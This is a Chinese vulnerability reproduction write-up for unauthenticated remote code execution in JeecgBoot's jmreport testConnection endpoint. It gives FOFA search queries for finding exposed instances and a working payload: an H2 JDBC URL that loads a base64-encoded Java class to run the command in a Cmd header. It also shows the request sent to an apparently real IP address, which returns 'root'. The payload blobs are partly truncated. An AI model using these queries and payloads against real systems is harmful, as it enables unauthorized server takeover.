J10-4JeecgBoot-企业级低代码平台-RCE

漏洞描述：

JeecgBoot 的 jeecg-boot/jmreport/testConnection 未进行身份验证，并且未对 dbUrl 参数进行限制，当应用端存在H2数据库驱动依赖时，攻击者发送包含恶意 dbUrl 参数的 http 请求远程执行任意代码。

影响版本：

- JeecgBoot-企业级

网站图片：

网络测绘：

fofa语法：

title=="JeecgBoot 企业级低代码平台" || body="window._CONFIG['imgDomainURL'] = 'http://localhost:8080/jeecg-boot/" || title="Jeecg-Boot 企业级快速开发平台" || title="Jeecg 快速开发平台" || body="http://fileview.jeecg.com/onlinePreview" || title=="JeecgBoot 企业级低代码平台" || title=="Jeecg-Boot 企业级快速开发平台" || title=="JeecgBoot 企业级快速开发平台" || title=="JeecgBoot 企业级快速开发平台" || title="Jeecg 快速开发平台" || title="Jeecg-Boot 快速开发平台" || body="积木报表" || body="jmreport"

漏洞复现：

payload：

```
POST /jmreport/testConnection HTTP/1.1
Host: your-ip
Content-Type: application/json
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Cmd: whoami

{
            "id":"1",
            "code":"ABC",
            "dbType":"MySQL",
            "dbDriver":"org.h2.Driver",
            "dbUrl":"jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'void shellexec(String b) throws Exception {byte[] bytes\\;try{bytes=java.util.
            "dbName":"383BAb7deFC825E6",
            "dbPassword":"1Ef67E3daB1FE4aF",
            "userName":"CFBc9984BAeD6b2f"
        }
```

效果图:
PS:如果没有回显，更换连接的数据库用户名密码（可随意构造）后再尝试

Request

数据包扫描 热加载 构造请求

```
POST /jmreport/testConnection HTTP/1.1
Host : 120.76.103.172:8085
Content-Type: application/json
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Cmd: whoami

{
        "id":"1",
        "code":"ABC",
        "dbType":"MySQL",
        "dbDriver":"org.h2.Driver",
        "dbUrl":"jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'void shellexec(String b) throws Exception {byte[] bytes\\;try{bytes=java.util.Base64.getDecoder().decode(b)\\;}catch (Exception e){e.printStackTrace()\\;bytes=javax.xml.bind.DatatypeConverter.parseBase64Binary(b)\\;}java.lang.reflect.Method defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(\\\"defineClass\\\", byte[].class,int.class,int.class)\\;defineClassMethod.setAccessible(true)\\;Class clz=(Class) defineClassMethod.invoke(new javax.management.loading.MLet(new java.net.URL[0],java.lang.Thread.currentThread().getContextClassLoader()), bytes, 0,bytes.length)\\;clz.newInstance()\\;}'\\;CALL EXEC ('yv66vgAAADEBawoAHQCSCgBEAJMKAEQAlAoAHQCVCACWCgAbAJcKAJgAmQoAmACaBwCbCgBEAJwIAIwKACAAnQgAnggAnwcAoAgAoQgAogcAowoAGwCkCAClCACmBwCnCwAWAKgLABYAqQgAqggAqwcArAoAGwCtBwCuCgCvALAIALEHALIIALMKAH4AtAoAIAC1CAC2CQAmALcHALgKACYAuQgAugoAfgC7CgAbALwIAL0HAL4KABsAvwgAwAcAwQgAwggAwwoAGwDEBwDFCgBEAMYKAMcAuwgAyAoAIADJCADKCgAgAMsIAMwKACAAzQoAIADOCADPCgAgANAIANEJAH4A0goAJgDTCgAmANQJAH4A1QcA1goARADXCgBEANgIAI0IANkKAH4A2ggA2woA3ADdCgAgAN4IAN8IAOAIAOEHAOIKAFAAkgo
```

Responses 106bytes / 654ms

```
HTTP/1.1 200
Date: Tue, 12 Dec 2023 15:42:06 GMT
Content-Length: 106

root
{"success":true,"message":"数据库连接成功",
"timestamp":1702395726103}
```